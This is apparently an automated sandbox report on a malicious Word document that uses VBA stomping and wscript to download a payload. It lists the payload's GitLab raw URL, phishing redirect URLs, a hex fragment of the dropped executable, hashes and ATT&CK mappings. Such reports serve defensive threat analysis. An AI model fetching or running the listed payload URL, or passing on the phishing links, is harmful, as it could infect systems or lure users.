Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: 1KaTo6P18Z.doc	Stream path 'Macros/VBA/Module3' : , ByVal dwLanguageId As Long, ByVal lpBuffer As String, ByVa
Source: ~WRD0000.tmp.0.dr	Stream path 'Macros/VBA/Module3' : , ByVal dwLanguageId As Long, ByVal lpBuffer As String, ByVa

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\wscript.exe

Network Connect: 172.65.251.78 443

Jump to behavior

Document contains VBA stomped code (only p-code) potentially bypassing AV detection

Source: 1KaTo6P18Z.doc	OLE indicator, VBA stomping: true
Source: ~WRD0000.tmp.0.dr	OLE indicator, VBA stomping: true

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	331 Scripting	Valid Accounts	23 Exploitation for Client Execution	331 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Obfuscated Files or Information	1 DLL Side-Loading	11 Process Injection	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	3 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1KaTo6P18Z.doc	54%	Virustotal		Browse
1KaTo6P18Z.doc	42%	ReversingLabs	Win32.Trojan.Leonem
1KaTo6P18Z.doc	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\Desktop\~WRD0000.tmp	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Antivirus Detection	Reputation
gitlab.com	172.65.251.78	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://gitlab.com/app8490744/updatesa/-/raw/main/up	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.65.251.78	gitlab.com	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590808
Start date and time:	2025-01-14 15:42:17 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Without Instrumentation
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1KaTo6P18Z.doc renamed because original name is a hash value
Original Sample Name:	1ae98e28ff5e890d00429031f5369692389256290dd4e5867f822db51cdc8027(1).doc
Detection:	MAL
Classification:	mal100.expl.evad.winDOC@4/9@1/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .doc Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.76.240, 52.113.194.132, 20.189.173.14, 2.20.245.225, 2.20.245.216, 13.70.79.200, 2.23.242.162, 52.111.231.24, 52.111.231.25, 52.111.231.23, 52.111.231.26, 52.109.89.19, 2.23.240.50, 40.126.32.74, 52.149.20.212, 13.107.246.45
Excluded domains from analysis (whitelisted): e1324.dscd.akamaiedge.net, slscr.update.microsoft.com, templatesmetadata.office.net.edgekey.net, weu-azsc-000.roaming.officeapps.live.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, eur.roaming1.live.com.akadns.net, ecs-office.s-0005.s-msedge.net, roaming.officeapps.live.com, osiprod-weu-buff-azsc-000.westeurope.cloudapp.azure.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, officeclient.microsoft.com, templatesmetadata.office.net, prod.fs.microsoft.com.akadns.net, ecs.office.com, self-events-data.trafficmanager.net, onedscolprdaue01.australiaeast.cloudapp.azure.com, fs.microsoft.com, onedscolprdwus13.westus.cloudapp.azure.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, uci.cdn.office.net, ctldl.windowsupdate.com, prod.roaming1.live.com.akadns.net, s-0005-office.config.skype.com, fe3cr.delivery.mp.microsoft.com, prod1.naturallanguageeditorse
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to lowest risk score due to lack of data" ] }
Date: unknown
URL: Office document Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Office document Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 11 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 11 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.65.251.78	build_setup.exe	Get hash	malicious	Vidar	Browse	gitlab.com/greg201/ppi3/-/raw/main/Setup.exe?inline=false

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gitlab.com	5UnAIdF7m2.docx	Get hash	malicious	Unknown	Browse	172.65.251.78
	VRO.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	mP8rzGD7fG.dll	Get hash	malicious	Unknown	Browse	172.65.251.78
	VRO.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	mP8rzGD7fG.dll	Get hash	malicious	Unknown	Browse	172.65.251.78
	iTVsz8WAu4.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	HLi4q5WAh3.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	e0691gXIKs.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	hJ1bl8p7dJ.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	Y4TyDwQzbE.exe	Get hash	malicious	Unknown	Browse	172.65.251.78

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	5UnAIdF7m2.docx	Get hash	malicious	Unknown	Browse	172.65.251.78
	original.eml	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://cloud.uibakery.io/share/Z0My4XaLtq/home	Get hash	malicious	Unknown	Browse	172.67.70.48
	NoticeOfPayment.docx	Get hash	malicious	Unknown	Browse	172.64.146.81
	http://links.notification.intuit.com/ls/click?upn=u001.Hu9nToJLxsJSQR8ZHWn8Ib7JikYF6PNXv5VK-2BAfeSpVHPRNy-2BFDtJ-2BhNUfKXTverofrKjvXVKH4ba5KbTX-2BS4d1fnHXIidRtPiokrK2um0Eple-2FkJVLqDQnYz8JTbzkA9WlXWZlL3ivdsx3brpVaTH-2FK6m9Qw3cu-2BvTOlnjPR-2BRQieb3dMUHHYNG5OQm5ryxF0Fsg8fRojMxisWNsOHrH9C1cyNh2C-2BapzmizNqUYRxhHtg93ylBbIqH4SXA-2BcyHnCgzv3EsQu4AeMgUYmPWnA-3D-3DLdh5_yvrO630WiuT7pZuPPGURxafPbqYMaSDh9TJohqr8UezRE8eV8vDlm-2BTA5TmdEDZ7yETp46OEIM2MjRx5Mgc-2FSy44clVANtwLrq3nrTfwacsucNAXy1OR1t4kO8Runkcodfdl27Tk2P3ljoutL4PngQr5QuG6-2BzAFT5LByFkcNsd4ZN4BjPhWe-2FurNg8n55w3pC1a745KRvgSQJLhnfGqvVCPndWBC-2FrOGmouU9sI8e8126CrPE36g6YnfTU62FfgD4iz7YqhY5ClzJJ1rfDytmBE27deoiPYjSCUIOExKeOY9BXwol6hEnBu1JrowSiwfKjh7zwfuBtmrvZ6vSOSA4TPvkxfFcg8BlrW1vQm3N4xNhNATHmDPJ14VDZ37GTEiI3qtLYdiyXWWkTzMMnRfMqqHTb6pk7iw0nQ-2B-2F-2BoVFAByTiDqFl-2BEIRuBMpx3EAFKUBzR-2BFkYOUJfVO0AgKNNrj8RX8iEkzqu1jtQg7ixHYmsOTyS67b-2FfHfta82o4E2JYjYGlK5-2B4oC7YaK6nqpfLyDha24FrKV-2FLp72I4nvgzKLPEnT5ZwYuSOhCg3YVBTmOz2nIgG2JSkyg5oeFqAqgkNSx8fK8zislf-2BrA2fYIACU0BIPGyf0fmRMsEmqkL-2Bp3BFpdaGyMHdF1x-2BecUEBz6lLoiPwOcsUtngmDNDJXvvknBRqzikOl9M6fGqG3fXa1gCTdQ65koy28-2F-2BBWPXowJpnZS4HZIyZUo5CD6QHJWBreucOVPnNwQeZjC-2FzCK4Cce5NO367-2F8X6iGngzToJ76PKlG3iKmQrD2mUaULlSVRgzOCG3qGCu5c3-2FNswHxTGs5sX1Z4U8SbnKLBV1PKGCxM9T4n09h2aVmLlExK8v00nv29XzsU7Po9gelTF-2FjMSswYLkMiSOnzlY2BCdCwDuNC1nvBteBGpD-2F22OmpeXpRAaJ0J-2B4lsJiYMNTfeLTVpUwXJ8O1S1sYa5RHOdrs-2FcoPQw3UvxHuDk-2F8iCLoYwSk9C9RD2cz2elRWzi1C1ns-2FlhCnZAhjcKv9Z9Ae1z44jmN81TExev-2BlHq6EzmdhrItggowvzubiVKpLOI41-2FppAUrbGiqMHyKjd3-2F4kk-2Flz32iYslSzl6Dn0eXeS9GKE-2Bpl29Z6ROXa7u-2B5uui0VMIdUdli6dq52DdaYFYPlzSXZJZD6dU1iBoKstrswPNVadTn-2FAGgQ05qSC-2Bkb7G8HU-2BK5xqU5Ufalh9-2FjFROiYaxD3E-2Bu8NoLa7LrZn2WpO-2F0jyY6Vd6CrNPSPrDmzB8lSbamUhpcGSHkMvagS5o-2By7jAAciI99IX68zm80Q3YVM-2BJI1Dy0kwunCbTG4zRPUdxDxmPiGishQoGtkqOda43zr5FgVLFBsuyricc5CP0Uj0NZhEVb-2Br-2FOT93qdqnJE6-2FTp6T2R9YtWtiv-2BEfeLsX6gcdvCtN3M6I13WFY-2ByaP1CVexX5752k6SmFvyspk50Eq	Get hash	malicious	Unknown	Browse	1.1.1.1
	http://nkomm.fr	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https%3A%2F%2Fgoogle.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%253Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fjobuli.in%2Fwinner%2FsXtxg%2FbWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1HSFJpT1hidkdIZXs2VFp2R25bbVM0ZEczJkROUEVHMyZ6ZndzdnR0c2Z6YkczJmx2L3BkL3pmd3N2dHRzZnpiRzMmRzMmQjQmdHF1dWlFNCZtc3ZDNCYzMzMmRTQmdW9mdW9wZDEzJjMzJml0ZnNnZnMzMyZFNCZ3anZyZi5xdXVpMTMmYnVmbkQ0JjEzJjEzJjEzJjEzJkIxJkY0JjMzJjkuR1VWMzMmRTQmdWZ0c2JpZDEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCZlYmZpRDQmQjEmRjQmbW51aUQ0JkIxJkY0Jm9icXRHMyZENCZkazdoWlZENCZ0ezVNRTQmTFhteDFPUWdkWFBZc3s1d0c5e1FFNiZDT0Y0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEm	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https%3A%2F%2Fgoogle.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%253Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fmessagupdates.courtfilepro.com%2FVTtMa	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	5UnAIdF7m2.docx	Get hash	malicious	Unknown	Browse	172.65.251.78
	x6yDsHJ9tr.exe	Get hash	malicious	Remcos, GuLoader	Browse	172.65.251.78
	LrBF2Z930N.exe	Get hash	malicious	Remcos, GuLoader	Browse	172.65.251.78
	2T10XBqS6g.exe	Get hash	malicious	Remcos, GuLoader	Browse	172.65.251.78
	183643586-388657435.07.exe	Get hash	malicious	Unknown	Browse	172.65.251.78
	Handler.exe	Get hash	malicious	DanaBot, Vidar	Browse	172.65.251.78
	sysadmin.exe	Get hash	malicious	Vidar	Browse	172.65.251.78
	JUbmpeT.exe	Get hash	malicious	Vidar	Browse	172.65.251.78

Process:	C:\Windows\SysWOW64\wscript.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	78347968
Entropy (8bit):	3.9608770038040686
Encrypted:	false
SSDEEP:	24576:CPeNKU1jkuVGTONfLKNvW4zuRfddSylFijQgAu55ZVaFZDyqlPN+aX49HbzyP+mA:+
MD5:	867EB339A005A6C7A63D6F9C81D7EA98
SHA1:	A30386E1345672ADFBAFB333936025B57C757FEE
SHA-256:	5C1997166E6ED7BD049B5A4CFD074C230B867A8743BF668102AA1E1E41DEF33C
SHA-512:	71D8E511AEA3C0BB625B86F6161577F4CDD869026708C8CF8CE412CD7861292376B879A02442FF40FE6394CEED9E6BAC0D930FD244239E4ACE8B9D03D13E13CE
Malicious:	false
Yara Hits:	Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\up[1].txt, Author: Florian Roth
Reputation:	low
Preview:	4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a24000000000000000a598b174e38e5444e38e5444e38e544474076445838e5448dbbe6455a38e5448dbbe1455c38e5448dbbe0451138e5443eb9e1454638e5443eb9e4454338e5444e38e444463ae5445dbce6455b38e5445dbcec45c33ae5445dbce5454f38e5445dbc1a444f38e5445dbce7454f38e544526963684e38e54400000000000000005045000064860a00215f11670000000000000000f00022000b020e2800aa6100008232000000000090fe5c00001000000000004001000000001000000002000006000000000000000600000000000000000096000004000000000000020060c100001800000000000010000000000000000010000000000000100000000000000000000010000000f0667900c4000000b46779006801000000708000b008150000a07b00fc600300f8a35502681b0000008095002c7e0000b0a67000540000000000000000000000000000000000000080a87000280000004045620040010000000000000000000000d06100c80e0000a4647900

C:\Users\user\AppData\Local\Temp\~DF02DC66534C89523B.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	high, very likely benign file
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF43EB5779C0F541C4.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	high, very likely benign file
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF874A9262025C7C4C.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\1KaTo6P18Z.doc (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: ADMIN, Template: Normal, Last Saved By: user, Revision Number: 32, Name of Creating Application: Microsoft Office Word, Total Editing Time: 29:00, Create Time/Date: Mon Dec 16 03:28:00 2024, Last Saved Time/Date: Tue Jan 14 14:45:00 2025, Number of Pages: 1, Number of Words: 3, Number of Characters: 21, Security: 0
Category:	dropped
Size (bytes):	99328
Entropy (8bit):	4.928235782766781
Encrypted:	false
SSDEEP:	3072:iGF+FLnVqP/StD2kRBHDnD4qokPUqD6Dq8UvRJOyexZK:BAXAq8UviZK
MD5:	59E01D9FF216D631335104A7C40F0D4E
SHA1:	22DFD34A2159E7DE44A22A069702FEEFE884FD8E
